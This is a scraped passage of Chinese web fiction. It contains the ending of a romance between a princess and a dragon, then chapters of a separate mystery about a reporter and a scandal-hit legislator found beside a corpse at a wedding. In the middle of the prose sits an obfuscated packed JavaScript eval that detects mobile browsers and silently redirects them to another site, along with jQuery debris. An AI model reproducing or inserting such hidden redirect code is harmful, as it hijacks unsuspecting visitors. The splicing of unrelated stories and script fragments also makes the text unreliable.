这时,王子看准时机又是一个挑劈,他的身侧有很大的破绽,艾斯顿本能地伸手打去,却又生生止住。
如果这一下打中了,王子会重伤不治。
圣剑结结实实地砍在了艾斯顿的腹部,鲜红的血液倾泻而出,与地上原有的合为一体,触目惊心。
“我想嫁给想嫁的人!”
公主笑意盈盈的脸出现在艾斯顿的脑中。
王子正要攻上,恶龙猛地张嘴,气势一变。王子一惊,退后做防御状。
他要用龙息!伊芙“唰”地站了起来。
“如果我下了死手,想活下来就得一直杀戮。”
几个月来相处的一幕幕从伊芙脑中闪过。
夜晚的飞行,饭菜的香气,夏日的焰火……
那只为了自由宁愿在深山茹毛饮血的龙,将要在追杀中躲藏与屠杀一辈子。
不行!
伊芙冲到窗前,用尽全力大喊:“王子!我在这!”然后从窗口一跃而下。
艾斯顿和王子都是一惊。
恶龙欲张开翅膀,却被肩头深可见骨的伤口阻止了。
王子奔跑上前,接住了伊芙。
伊芙冲恶龙大喊道:“我选他!我选他!快走啊!”
艾斯顿走了几步,然后努力展开双翅,艰难地飞了起来。王子作势要追,被伊芙死死抓住衣服,看到艾斯顿成功飞走后她才松了一口气,嚎啕大哭起来。
公主要嫁给王子了,两国都举国欢庆。
王子礼数周到地把公主送回了房间,抿着唇向前来道喜的人一一致谢。
伊芙见到了阔别已久的父母,父母很是思念她,对这门婚事也甚是满意。
叙过旧后,伊芙开门见山道:“父亲,母亲,女儿不想嫁给王子,女儿已经心有所属了。”
她的声音响亮。
“什么?胡闹!婚礼就在三个小时之后!”
公主和王子回到帝国用了一个星期,一切早已筹备好。
“而且你这样王子那边该如何交代?”
“父亲,我会亲自和他说,女儿不想嫁给自己不爱的人。”伊芙昂起头,“我爱上恶龙了。”她一字一顿,掷地有声。
“什么?!这......”王后扭头看向国王。
国王注视着女儿的眼睛,里面满是坚定,许久国王说道:“那你便去吧。”
“谢谢父亲!”
伊芙提起裙摆便匆匆转身向外跑去。
王后担心地挽上国王的手臂,国王安抚地拍了拍她的手:“没事,本来也就是让她自己选择,无论她的选择是什么,我们都应该尊重她。”
看着伊芙的背影,国王不由得感叹,自己的女儿变了啊。
看来这国库的一半是给不出去了,不过相应的,“他取走了王国最珍贵的明珠。”
......
艾斯顿在房间里翻箱倒柜了半天,才找出一瓶绿色药水。
他坐在床上将药水洒在伤口上,伴随着“滋滋”声和白烟,熟悉的痛感传来。他自嘲一笑,自己多少年没用恢复药水了。
他看向公主空荡荡的房间,感觉什么地方也空了一块。
他这是怎么了?
鬼使神差的,他走向公主的床,发现地上有什么东西,他捡起一看,发现是一个皱巴巴的信封,雪白的封面上还画了一只小小的黑龙。
看来是给他的。
艾斯顿一拆开就看见了四个大字“我喜欢你!”
字迹娟秀。
他一怔,接着看下去。
“对不起!你应该无法完成工作了,因为我喜欢上你了。信封里有我编的手链,如果你接受了,就戴上吧,如果不接受也不要告诉我,把我送回王宫就行,报酬会按约定给你的。”
“好了,我不敢写太多,怕你看的时候我等不了。”
“另:这几个月来你教了我很多,无论如何我都很感激你!”
落款是伊芙。
艾斯顿往信封里看去,找到了一串编得很精美的手链,他一眼就看出来了,是用公主的头发编的。
少年无声地笑了下,他放下信,不顾伤口的疼痛张开了翅膀,直接撞破了山壁向外飞去。
这裙子真碍事!
伊芙提着繁复的礼裙努力小跑着。
到了!她深吸一口气,推开了王子房间的门。
“你知道的,我一直都深爱着你。”王子抓着女仆的肩,表情痛苦。
“不,您不应该这么说,您救出了公主,就要对她负起责任。”
“是父王逼我的。”王子双目赤红,把女仆的手抵在自己额前,“别这么疏远地叫我,求你。”
“没人会祝福一个女仆和王子的。”女仆说着别过了头,不忍心去看王子的表情。
突然她看见了站在门口的伊芙,她慌忙地抽出手,解释道:“王子的额头脏了,用我的手擦擦。”
伊芙没有说话,脸上带着浅浅的微笑,她大步向前,抬起了右手。
王子想护住女仆,却被女仆一把推开,她站直了身子,闭紧双眼,等待公主的巴掌落在自己脸上。
谁曾想——
公主的右手拉过女仆,左手拉过王子,把他们的手放在了一起。
两人惊愕地看向公主,伊芙含笑说道:“喜欢,就要自己争取。”
三个小时后,婚礼开始了,新郎和新娘却同时缺席。
伊芙骑着王子备用的白马在树林中穿梭,树枝勾走了她头上的皇冠,划破了她的衣裙。
她披散着一头金发,裙摆有些破烂,像刚被恶龙掳走时一样狼狈。她的脸上沾满了灰,眼睛却无比明亮。
顺着鳞片的指引,她奔往艾斯顿所在的方向。
她穿过了森林,踏过了河流,奔向自己选择的未来。
原野上,伊芙感到面前有一片阴影投下。
她抬头,看到了恶龙。
她大声呼喊,声音却被吹散在风中。
恶龙的影子只在她身上停留了一瞬,便掠向她的身后。
伊芙将鳞片举过头顶,再次呼唤,鳞片应声而碎。
艾斯顿似乎有所察觉。
阴影再次袭来,他抓起了马背上的公主。
公主再次被恶龙掳走了。
在万米高空,艾斯顿化作人形,微风拖住他们,将他们停留在空中。
少年搂着她的腰,朝她举起了自己的左手,上面是明晃晃的金色手链。
伊芙笑了。
她又哭又笑。
少年低头深深吻住了她。
“我也喜欢你,伊芙。”
艾斯顿看着她的眼睛,认真说道,眼中是数不清的缱绻与眷恋。
后来,他们结婚了。
他们的婚礼上最激动的是塔拉莎。
他们举行了龙族的伴侣仪式,艾斯顿在伊芙得后颈咬了一口,留下一个暗红的印记,这是龙族与伴侣共享生命的记号。
恶龙金盆洗手了,带着他的金山银山和公主买了个城堡住下。
两人在最热闹的街上开了一家最不起眼的店面。
随缘开业。
常有一位长得很帅的银发青年带着一位棕发的女子光顾,他们是有名的冒险者。
就这样,公主与恶龙过上了幸福快乐的生活。
-End-
*很短的番外
1.公主第一次被抓的某一个晚上:
伊芙在龙背上沐浴着风,有种想喊些什么的冲动,她下意识地喊道:“如果可以,我以后想拥有一个和我一样金发的孩子!”
艾斯顿听得一个酿跄:“你......你知道孩子是怎么生的吗?”
“当然。”伊芙骄傲地抬起头,“这我还是知道的。”
“......行。”
2.结婚当晚:
“终于等到这一天了。”伊芙一拍手,对艾斯顿说,“让我来吧。”
她弯腰从从枕头底下掏出了一个红布包,再打开,是一把剪刀。
伊芙拿起剪刀,“咔嚓”一下剪下了艾斯顿的一缕头发,又“咔嚓”一下剪下自己的一缕,兴致冲冲地用红布包了起来。
“好了!然后我们一起祈祷,明天女巫就会把我们的孩子送来了。”
艾斯顿的表情有些一言难尽。
“怎么了?”伊芙有些不确定了,“呃......难道不是这样的吗?”
“不是。”
“那要怎么做?”
“我教你。”
......
3. 世界二
001早雾记者议员与死者
入秋的圣斯里弗街清早还会泛起一片薄薄的雾霭,面包房的铃声清脆。一出门就能闻到入秋的风混着枯枝的气味,对街的大巴惊起咖啡店前的群鸽。
分针刚过一刻钟,瑞伊·夏普就已经端着两份咖啡飞快地赶过闪烁的绿灯,身旁的拉丁裔部长一直歪头夹着大块的大哥大一边重复着“sí、sí、sí……”。
“呃,瑞伊……”菲欧娜在打电话的间隙抽手去拿她手上的咖啡,“老头应该告诉你今天要跟着多偷拍点照片的事吧?”
“什么?”
“西纳德今天也会来。”
“西纳德?”瑞伊立即停了下来,眼睁睁地看着菲欧娜大步走出去好几米,“等等,今天不是门罗夫妇的婚礼吗?”
“是的。但是西纳德也要来,记得吗?你之前写过稿子的那位。”费欧娜显然没空理会这位略有脾气的新晋记者,自然地拿起咖啡喝了一口。
费欧娜停顿了几秒,接着说道:“‘消失了一段时间的污点的议员在大选前再度出现’,相比之下门罗夫妇的事情就显得……”
瑞伊看着菲欧娜涂了红指甲油的手做了个夸张的手势。
“不——等等,你说偷拍是什么意思?”瑞伊继续大步追了上去。
“哈?小妞,你显然把你的工作想得太正派了。”
“可是,为什么是我?”
费欧娜耸耸肩,在大步赶上下一个红绿灯之前把咖啡一饮而尽,脱下墨镜打量了瑞伊一眼:“你知道为什么。”
瑞伊顿时感觉背后一热,脑子里浮现出抓拍到的那个眼神。
西纳德·伯恩的眼睛是深邃的祖母绿色,即使斜睨着镜头也显露出一个政治家的精明与狡诈。
“嘿!根本没有人跟我说我今天要干什么……”瑞伊回过神来试图跟菲欧娜理论一番的时候,才突然发现眼前就只有呼啸而过的大卡车和刺眼的红灯。
世界好像就剩下了她,站在刺耳的鸣笛声之中,身上不知道因为什么原因而一阵一阵地发热……
如果说人类是天生的政治动物,那么西纳德就仿佛是天生的议员。
政坛世家、名牌大学、信托宝贝,以各种政治场合的香槟为食,二十五周岁生日礼物就是一个众议员的头衔——
而且,他还是个傲慢无礼的家伙。瑞伊匆匆合上摘剪下来的报纸集,并反感地皱了皱鼻子想。
那个剪辑册是她之前写那篇有关他的报道和后续报道时做的功课,里面裁剪下了各种有关西纳德的报道。
由于她目前就只写出了那么一篇有代表性的报道,所以这个小册子目前还是那些“纸片西纳德”的独栋豪宅。
瑞伊把册子放进包里,抬起头来扫视了一边全场。
婚礼按照门罗家族的惯例在他们的庄园奥奇菲德里举行。
那是一片漂亮的山崖下的地段,离附近镇上和市里更是比许多现有的庄园便利许多,门罗家族以其强大的经济实力一直将其维持到现在。
瑞伊在院子里遇见其他报社媒体记者的时候,他们正端着酒杯俨然装出一副上流人士的样子在那里交谈。
“是的……我敢说……门罗们一定花了很多工夫,不让这座漂亮的宅子沦为度假酒店……”
在正式的仪式开始之前,客人和到场的记者都是在室内外的小型聚会上消遣。今天这场婚礼是对媒体和外界开放的,因此即将到场的客人应该不少。
为了第一个拍到西纳德出现在婚礼的照片和细节,瑞伊早早地就来到了现场,今天早晨菲欧娜的话还让她心有余悸。她没想到她刚开始打拼的事业全部要押在一个品行不端的议员身上。
不过现在宴会尚未开始,婚礼估计在正午十二点举行,而她看了眼表,现在正是早上九点四十五,院子里除了几家媒体记者,只有零星的几位妇人和随从以及装点现场的仆人。
在确认院子里没有西纳德的身影之后,瑞伊又趁人不备偷偷溜进了宴会厅。可能是她最近正在走霉运,她在刚从院子从正门走进去时就撞上一个步履匆匆的男人。
那个人走得很快,瑞伊几乎没有反应过来,他的背影就消失了。不过瑞伊看到他的手上拿着一瓶酒,估计是现场的仆人之类的。
宴会厅更加冷清,几乎没有客人,布置得七七八八的现场只有仆人在进进出出,他们看起来也对瑞伊在这里干什么没有兴趣。
瑞伊一边搜寻着西纳德的身影,一边四处观察。
宴会厅不如院子里的布置完备,白布桌上没有太多的食物和装饰,瑞伊还看到舞厅侧边的大乐台的外围幕布只拉上了一半。
瑞伊花了几分钟在主厅寻找西纳德的身影,又去了旁边一侧的走廊上看了一眼,全都一无所获。
正在瑞伊撇撇嘴打算退出去重新在院子入口处蹲西纳德时,一群仆人正巧端着盘子和抬着装饰物进来,她顺势退到角落里。
突然间,她确信自己看到了什么。
瑞伊漫不经心地绕过搬运装饰的工作人员,稍稍抬眼就能看见会厅角落里的男人——定制西装、漫不经心又傲慢的神情、总是挺直的腰背——西纳德·伯恩。
他正抬头环视着会场,没注意到巨大装饰品后的瑞伊,接着低头看了眼手表就转身退进会客厅后门的走廊里。
熟悉的,深邃端正的五官,总是刮净的线条硬朗的下巴以及令人不可忽视的身形……
说实话,如果不是因为他年纪轻轻就和当地大法官的女儿订婚,他一定是约会市场上的抢手货……
哦,现在不是想这个的时候。
“这脚底抹油的耗子……”瑞伊一边咒骂着一边拿起自己装在包里的相机跟上他。
瑞伊并不是身形特别娇小的女士,但是磨脚的高跟鞋要跟上西纳德那双长腿显然十分吃力,他的后脑勺在别墅楼里转了几个弯之后消失在走廊里。
“见鬼……”
瑞伊突然加快了脚步追了上去,但是走廊的尽头玻璃窗外的景象突然挡在她眼前——前面没路了。
她回头时,四下也完全没有西纳德的身影。抱着急切的心态,她张望了一番就索性顺道走进了离走廊最近的房间里。
“哦,又是你。”西纳德的声音突然出现在她身后。瑞伊转过头来的时候,他正把门关上。
这间房间因为没有窗户而显得不太明亮,瑞伊能感觉到房间不小,但是地毯上紧密地摆着的沙发和家具,还有一边堆放的乐器都让她感到逼仄。
她能通过房间一侧的大幕布推测这是供乐师休息和准备的房间,连接着她刚刚看到的舞台,靠近她那侧的桌子上还摆着一桶冰块和香槟。
“真是冤家路窄啊,伯恩先生。”虽然有些惊讶,但是瑞伊还是迅速摆出了防御的姿态,“你很喜欢跟踪年轻的记者女士?”
“哦,你又开始展现你的‘能力’了吗,瑞伊小姐?”西纳德神态自若地耸了耸肩,信步走向瑞伊,“这次又是什么?再度出轨一个未成年的记者界新星?”
“我成年了,伯恩先生。拜您所赐,我现在赚到了钱足以打扮得像个得体的成年人了。”
瑞伊没有退让的意思,她依旧站在原地直勾勾地盯着西纳德接下来的一举一动,以防他随时进攻。
“哈,我貌似帮助您成为了‘女人’,记者小姐。”西纳德轻声笑了一声,在瑞伊跟前停了下来,缓缓眨眼的笑容令瑞伊的脸颊感到一阵燥热。
瑞伊气得用新买的高跟鞋狠狠地踩了西纳德一脚。
“嘿!”西纳德后退了一步。
“无赖。”
“这只是个玩笑。”
“哼,恕我直言,你就算被革职也是咎由自取,你现在的窘迫完全配得上你的所作所为。”
“好吧,小姐。我承认你把我的工作生活搅得一团糟让我有点生气……”
“这关我什么事?这都是你……”
“听着!你那些报道简直是百分百一派胡言——”西纳德显得有些情绪激动,不过就算如此,他还是保持着冷静的姿态。
“要不是你一见面就嘲弄挖苦我,我也不会躲到那个角落里去!这完全就是你咎由自取!”
场面一度变得焦作起来。西纳德虽然也丝毫没有退让的意思,但是好在,在瑞伊的注视下他也只是烦躁地摆着手势。而瑞伊也恼怒地习惯性将相机举到胸前。
“好吧。这次不管是什么我都不会让你得逞了,你害得我已经够惨的了。”西纳德趁机伸手抓住了瑞伊的相机。
“扒手!”瑞伊也顺手抓住相机,只不过力气不敌西纳德,她踉跄了几步直往他身上靠,只不过就算这样她也不愿意放手,“你在干什么,西纳德!快松手!”
“见鬼,快放手,这可不是你该有的力气!”
瑞伊,她好像听见不知道哪里传来尖叫声,不知道哪里开始变得吵闹起来。
“等等,快停下——”西纳德突然松了些力气,可是这样只会让来不及反应的瑞伊突然失去重心摔在他身上。
而西纳德也没来得及站稳,后退几步撞倒了房间里布置的冰桶香槟和架子鼓踩在房间后的红色幕布上一起摔倒在地上——
厚重的窗帘也跟着被踩落下来,他们就那样顿时暴露在一个类似舞台之后的空间里,在前面众人的目光下,一览无余。
更要命的是,现场看见他们的众人突然尖叫起来,一片哗然。
瑞伊在西纳德身边的地上抬起头来,厚重的幕布压在她的身上让她身上的暗痛仿佛遍布全身——
眼前,一具陌生男人的尸体正凌乱地躺在他们打翻的冰块中间。而台下,一群人正目瞪口呆地看着台上充满戏剧性的一幕……
“哦不……”瑞伊在一片喧闹之中,听到声旁的西纳德失神地小声说,“阿尔……”
“是门罗先生叫我到那个房间里去的。”西纳德说这话的时候瞥了一眼身边的瑞伊,“不过我现在也不确定是不是他本人这么做的了,你说是吧,门罗先生。”
瑞伊不知道为什么现在西纳德还能一副在记者面前谈笑风生的样子,面对那个满脸皱纹的老警。
“你的话最好是讲过法庭上的陪审团,议员先生。事实上,你最好能说服他们你是无辜的。”
年长的警官显然不吃西纳德那一套,看起来他要带身边那个实习警探就已经够头疼的了,“艾伦!该死的,不要碰那瓶酒!”
“什么?”西纳德有些吃惊,不过他脸上那副自若的神情也只是稍稍迟疑。
瑞伊这时候才松了口气,起身道:“哇哦,真是一点都不让人惊讶,西纳德先生。怎么看起来没有我什么事了,我先走了,警官。”
“不,你也不能走,小姐。”
“什么?”
“现场所有人都听到了你跟西纳德先生的对话,你也有很大的共犯的嫌疑。”
“什么?”
“哇哦……听起来一点都不让人惊讶啊,共犯小姐。”西纳德像是掰回一局那样调侃道。
老警长在分别询问了他们初步的证词之后就严词命令他们坐上了警车。
“真高兴你能留下来陪我。”西纳德在她重新坐下的时候微笑着说,“但愿你现在知道谣言是如何发挥它小小的魔力的了。”
“听着听着——我的报道只是在陈述我看到和听到的事实,它甚至只在报纸的角落里占了一小格……”
“你的‘事实’完全扭曲了事实。”西纳德嘲弄地说。
“那你为什么不说出来呢?别告诉我油嘴滑舌议员先生害羞在公共话筒面前讲话——在那些接续猜测和控告的报道中?”
“听着!听着——”
“你们都给我安静!!”老警长突然从副驾驶上转过来,打断了他们两个的战况,可怜的老警长一个上午都在对付大惊小怪的客人和冒失的实习警察。
那张愤怒的红脸确实让后座上的两个人安静了下来。不过两个人之间的空气依旧很不愉快。
不过西纳德倒是放松地把双手枕在脑后,伸了伸双腿,他那个身形在瑞伊的身边简直要把她压到角落里去。
“看来我以后只能做个良民了——在监狱里,和‘政治界新新燃起的女记者一起’。”
西纳德小声地说。
“什么?该进监狱的只有你。”瑞伊依旧语气不善地回话。
“哈,他们可不这么认为,我的共犯小姐……西纳德稍稍转过脸,在跟瑞伊对视之后,他那张脸上的表情又变得严肃,还缓慢地眨了眨眼,接着看向车窗外。
瑞伊突然间在西纳德狡猾却自得的眉头看出了些什么,默契地跟着他的目光最后将视线移到前方开车的实习警员身上。
他想干什么?
“嘿!停车!”西纳德突然朝前面靠去大声说道,“这位小姐正在经历她的‘时期’,先生们。”
“什么……”在瑞伊刚要出口的时候,她又突然沉默了。她算是懂了西纳德要做什么了。
“我们现在正在去警局的路上,等到来那里……”副驾驶上的老警探不耐烦地转过来呵斥。
但是西纳德依旧伸手去拍了住实习警察的肩膀:“听着,你们简直对女性选民的诉求一无所知,这可不是什么可以忍住的东西。这可是货真价实的血——靠边停车!”
实习警察明显被西纳德的这个气势架住了,不管老警察后一步响起的怒骂,车先一步地停住了。
瑞伊也在反应过来的一瞬间眼疾手快地打开车,在车子重新发动的加速度下,她被重重地甩在地上。
“嘶——”
车上,她看见西纳德伸手把车门关了起来。那辆警车在过了红绿灯之后就被接续而来的车辆给挡住了。
就在她忍痛在地上爬起来,顺便捡起她那双高跟鞋马上逃跑的时候,她突然发现地上多出来两张白色的东西。
是两张纸片,一张信封,一张律师事务所的名片。
“……就在宴会厅后走廊的最后一个房间,我希望跟你见上一面……”瑞伊第一眼就看到信上的这些内容。
002
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064678|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
污点议员
瑞伊和西纳德的第一次见面并不愉快,可以说是相当狼狈。
那时的瑞伊刚刚进入一家小报社,手上没有一篇拿得出手的报道,而她的第一任编辑部长赛德也不怎么看好她这样的小姑娘,经常以一种歧视性的语气让她多关注关注电影明星的花边新闻。
事实上,赛德的确花了些手段,让她以一个假身份,代替新闻部编辑菲欧娜的姑妈,去参加诺伯顿上尉举办的一场午宴,并嘱咐她跟着一个叫莉莉娅电影女星。
“哼。”赛德习惯性地用他的鼻子来笑,而且喜欢直勾勾地盯着瑞伊看,“最好足够八卦、足够□□——女人总是对这种‘大新闻’特别感兴趣。”
瑞伊对那种注视感到非常地不悦,用十分直白的语气将赛德惹得非常恼怒,最后,还为此跟办公室里的人打赌她一定能挖出“至少一吨的‘大新闻’”。
“等被我发现你爷爷在宴会上跳钢管舞你就高兴了。”瑞伊回嘴道。
宴会那天,瑞伊穿着一件借来的白色晚礼服出席了午宴。为了把带来的摄像机藏起来,她还穿了自己大学期间的一件风衣外套。
可以说,那是她这辈子穿得最好笑的一次,磨脚的高跟鞋也十分不配合,让她藏着相机走路的样子十分滑稽古怪。
可能也是出于这种原因,她不小心在进到宴会厅的时候撞见了一位刚刚从里面出来的先生。
“哦,抱歉……”瑞伊想尽量地护住大衣口袋里的便携式相机,不过只是欲盖弥彰,让她的动作看起来更加地不自然,“我有些不舒服先生……”
男人穿着一身定制的深色西装,那双绿色的狡猾眼睛一眼就看出了瑞伊与宴会格格不入的气质,扬起嘴角冷笑道:
“是的,小姐,论谁穿着这身滑稽的演出服装都会不舒服的——我记得我们没有邀请中学的话剧演员来暖场吧?”
“什么?”瑞伊顿时涨红了脸,看着男人那张嘲弄的脸说不出话来。
“我不知道这种小午宴对你们这群记者有什么吸引力,不过你最好在我请人把你扔出去之前自己离开。”对方直言不讳的眼神让瑞伊的脸烫得更加厉害。
“哦,‘抱歉’,我可没有要冒犯你的意思。”那个傲慢的男人在说话的时候,宴会正好才进入正点,不断有先生女士经过他们进到会场,而他的挖苦也随着一声女人的问候而草草了事。
“只不过你要是但凡有一点羞耻心就不会穿着这样的裙子出席这种场合。”他最后留下这样一句话就离开了。
随后那个男人匆匆绕过瑞伊顺手挽着一位女人走进舞会厅的,瑞伊清清楚楚地听到那个女人叫他“西纳德议员”。
不过瑞伊那个时候没有时间去深究这件事,她低下头,那件本来就松松垮垮的晚礼服在胸口处露出一大片光景,本来她不觉得有什么,但是被那个男人这么一说她顿时感到十分地反感。
瑞伊局促地裹紧了大衣,在后续到来的宾客和送冷餐的佣人中间急急忙忙挤到宅子的角落,最后在仆人的指示下找到一处楼梯的隔间。
在乌漆嘛黑的隔间里想办法固定住那件晚礼服的肩带时,她也正巧听见了宴会厅里传来的乐声和鼓掌声。
她那时才顿时为赌气而答应来跟踪女星而彻底后悔。宴会肯定开始了,而她却因为这件好不容易借到的晚礼服而出尽洋相……
正当她开始懊恼该怎么回去向赛德低头的时候,她又听到了那声熟悉的声音——依旧自大傲慢,高高在上。
“恕我直言,丽莎(瑞伊想这应该是某人的昵称),这可是一笔不小的钱……老霍尔斯很快就会发现这件事……”
“哦,帮帮我,希德(而这应该是西纳德的昵称,他们是彼此亲近的人)……你是我唯一可以依靠的人了,爸爸知道这些会杀了我的……”
“你的意思是,要我向瑞贝卡坦白吗?”
“可是希德……”
“不,不要这样……这里是……”
声音在女人的抽泣开始之后就伴随着脚步声慢慢远离了。就算因为隔间的缘故,声音闷闷的,但是瑞伊还是对那个十几分钟前听见的声音异常敏感。
就在脚步声快要到达她头顶的时候,瑞伊突然决定拽着晚礼服冲出隔间,以最快的速度调整好相机对着楼梯之上拍了一张照。
就在她把相机放下来的时候,她也正巧看到楼梯之上的最后一瞥。西纳德议员正在楼梯上往下警觉地瞥过,用一只手护住身后穿粉色礼服的女人的背影……
那张照片最后顺利地在各大头条上出现。瑞伊听到的几句话最后也在记者和媒体的深挖下被还原:
西纳德议员挪用其朋友霍尔斯父亲公司名下的财产用于包养情妇,而情妇正是他女友的表妹,玛格丽莎·威廉姆斯,一位深陷丑闻的电影明星。
这篇爆料出版后先是以花边新闻流传了一段时间,随后在他的大法官准岳父愤怒的报复下,西纳德议员又被陆续检举出勾结司法官员、受贿于某金融公司和非法拘禁女友等污点。
一时间,娱乐界和政界的八卦雷达都聚焦到了这个年轻有为的议员身上。
当然,他也在那之后的很长一段时间里在公众舆论里就此消失,直到这次门罗夫妇的婚礼上,颇有身份的菲欧娜姑妈又得到了他即将出席的消息。
瑞伊不明白,西纳德为什么还能在面对她的时候摆出一副自己受了天大的委屈的样子?这一切都是他咎由自取,如果他真的没做这些事的话,他为什么不进行反击?
“瑞伊!”
瑞伊裹着新大衣站在新闻部门口的时候,突然被里面菲欧娜的声音打断。
“哦……告诉我,西纳德没有给你额外的报酬让你改写报道吧?”菲欧娜看着瑞伊换下的那件脏礼服,和身上的擦伤露出了一个饶有深意的笑容。
瑞伊没有理会她恶趣味的玩笑:“找到了吗?”
“这,乔利弗·卢佩兹在订婚前都住在英国。父母给她留下了一笔可观的财产,不过大部分财产都留在这里,现在由她的地产经纪人和英国律师共同打理。
而门罗先生嘛,虽然继承了老门罗的一部分财产,但是相比起卢佩兹小姐丰厚的嫁妆可就形相见拙。
卢佩兹小姐在结婚前可以算是全英国最有钱的单身女孩之一了。”
菲欧娜拿着一篇报道从储藏室里出来:“哦对了,你最好快点写好最新的报道——发生这么大的事我们可得抓紧时间——我已经在下周的报纸上预留了一大片位置给你。”
“sí。说不定我会写出更多让你意想不到的内容。”瑞伊从她手里接过报纸,学着她的强调回答道,一边瞟了眼四周就一瘸一拐地往门外走。
瑞伊一边回忆着那封信的内容,一边思忖。她几乎在第一时间就赶回了报社,菲欧娜应该还不知道她在去警局的路上逃了出来,所以她就假借回来拿资料为由顺便拿了一大叠有关案件的报纸。
虽然她还不知道西纳德这封信是什么意思。
但愿警方还没打电话到她办公室里……
4. 世界二
就在她这么想着快速溜出办公室时,她听到菲欧娜办公室里的电话又响了。
“看来那一摔把我们的记者小姐的腿摔坏了,这么晚才找到地方。”
瑞伊赶到名片上的律师事务所大楼楼下的时候,已经接近傍晚了。
傍晚的霞光映在高耸的大厦玻璃窗之上,身后的车流鸣笛与人声连续不断,瑞伊正在考虑进楼的时候,就在大门口见到了同样赶来的西纳德迎面撞上。
“你怎么在这?”每次跟西纳德的见面都十分凑巧,瑞伊也不知道她的脑子在反应什么,不过此时应该惊讶就是了。
“保释。需要我解释一下这个名词吗?另外我在来的路上就已经给你的报社和公寓打过电话了。”
西纳德的脸上出现了他标准的笑容,带着淡淡的得意与轻蔑:“我很抱歉今天早上对你言语有些过于激动——你的腿怎么样了——需要一起去律师那里解决一下吗?”
她应该早就知道,西纳德那个老狐狸有的是手段逃脱法律的制裁,更不用说在晚高峰前从警察局里出来。
不过就算她对他的为人再怎么不爽,她还是将刚刚从报社找来的报道和信封拿给西纳德看。
“好了,先不说这个。我刚刚去查了报纸和今天最新的晚报,死掉的门罗先生没有什么政治上的朋友,而老门罗则只有一位现已退休的前上议院议员的朋友——至于这封信纸,我很肯定来自于卢佩兹小姐……”
“等等,什么?我刚刚把封信也顺手扔出去了?”
“可是,什么?那你原本打算把我叫到这里来是为什么?”
“哦拜托,我只是觉得你会在警局口无遮拦说一些对我们都不利的供词——我有全国最好的律师,如果你能把你那张嘴闭上的话,我们很快就能相安无事了。那些警方根本没有实质性的证据。”
“等等?我还以为你想弄清楚真相——我们不可能是凶手,但门罗恰好死在那个房间,你又收到这样的信……”
早在被迫下车的时候瑞伊脑子里的雷达就已经响个不停了,不管是不是她的职业病在作祟,她都觉得整件事情并不简单。
有人在刻意设计陷害西纳德,而这一切对她来说都十分明显。西纳德无疑是她理想的职业天梯,她可不想放弃这个机会,况且她也早就深陷其中。
“噢,得了吧,大名鼎鼎的记者小姐。你看了太多侦探小说,又恰巧太天真了。”
“天真的人是你。就凭这封信,门罗先生的死就一定和你有关——你还想用你那‘全天下最好的律师’来帮你解围,满大街都是你的丑闻的时候他可什么都没做出来——嘿,等等!”
西纳德听到最后只是摆出一副疲倦了的神情,轻声笑了声,偏了偏头示意瑞伊跟上接着就转身大步走进办公楼里。
“哇哦,你来了,大明星。”最大的那间办公室里的律师一见到西纳德就拥抱了他,接着才注意到他身旁的瑞伊,“哦,瑞贝卡知道你带着这么迷人的小姐一定会伤心的。”
“瑞伊纳·夏普,报社记者。”瑞伊礼貌性地跟他打招呼。
“我知道你,夏普小姐。”
“什么?”
“警方在现场找到了你的包,里面发现了大量的关于西纳德的报纸剪辑。”这位精明的律师端着马克杯在传真机上点了点,“他们怀疑你是西纳德忠实的女粉丝,不惜代价成为他的共犯。”
“什么?这简直就是……”
而一旁的西纳德也只是做了个耐人寻味的表情:“简直就是真相。对了,现在情况怎么样了,隆德。”
“要我说,情况很不容乐观——就算你一直出于某种目的一直跟踪西纳德确保他没有机会下手也是没有用的。”
隆德风风火火地从传真机上取下一大叠文件后经过瑞伊身边朝她打了个响指:“距离案发已经过去四个小时了,警方那边已经差不多审讯完了关键的证人,而我们现在又多了一位‘工作量’。”
“一切都照你说的办。这大概需要多久?”西纳德以一种散漫的语气问,“我和这位记者小姐会尽力配合你的——如果有演出的部分的话就再好不过了,这位小姐可是个行家。”
“哦,需要的东西还很多,我现在要首先联系的是警方那边的熟人……哦对了,由于我也出席了这场婚礼,我想我大概需要拜托我的老伙计替我出庭了。”
“噢。”西纳德懊恼地停顿了一下。
“不过我还是会帮你准备好一些材料和思路的,我和理查德还有玛格丽莎都乐意帮你作证。”
最后,隆德补充道:“哦,不过我想瑞贝卡现在估计已经到了病院了,她没有出席今天的婚礼,你知道的——她那位烦人的父亲。”
“你说什么?”西纳德在听到瑞贝卡的名字的时候显然愣了一下。
“医院。他们没告诉你吗——不过我想也是,你那个胡搅蛮缠的老丈人不会告诉你的——不过她确实需要在那里待上一段时间……”
“不,她是在什么时候进的医院?”
“我不知道,可能一个星期前?也有可能是这周一——总之我听人说老赫尔森在周三的时候确定办了入院手续。”
“你是说瑞贝卡在周三前就被送进医院了?”
“当然了,她本人的处境肯定更不好——我知道你很担心她,她回到临州的家之后就一直在接受治疗,前几天才加重需要住院的。”
西纳德突然不说话了,他眼神奇怪地瞥了瑞伊一眼,随后找了张沙发重重地坐下。
瑞伊隐约从隆德不知所措的神情中察觉到什么,于是见缝插针地问:“瑞贝卡·赫尔森?那个甩了西纳德的未婚妻?”
隆德这个时候才有眼力见地偷偷朝瑞伊使了个确定的眼色。
“噢,好啊,现在你又开始担心起你的未婚妻了……”瑞伊嘲笑地用高跟鞋踢了一脚沙发边,突然,她像是察觉到什么一样。
难道是瑞贝卡,或者西纳德以为是……
她一直相信她有做记者的天赋和潜质。
“希德,我必须要亲自见你……”
信封上那种急切的口吻又出现在她脑海里。
00324小时
西纳德·伯恩是在六月初跟瑞贝卡·赫尔森订婚的。
在此之前他们都在彼此父亲的各种场合下见过面,瑞贝卡是位优雅美丽的姑娘,而老伯恩似乎也很中意这位未来的法官儿媳。
而对于西纳德来说,瑞贝卡温柔腼腆,目前还在法学院攻读博士,是位理想的结婚对象。
他并不在意自己是否钟情于她,他只在中学期间谈过几任女友在此之后就再也没有约会对象,而瑞贝卡也一样。
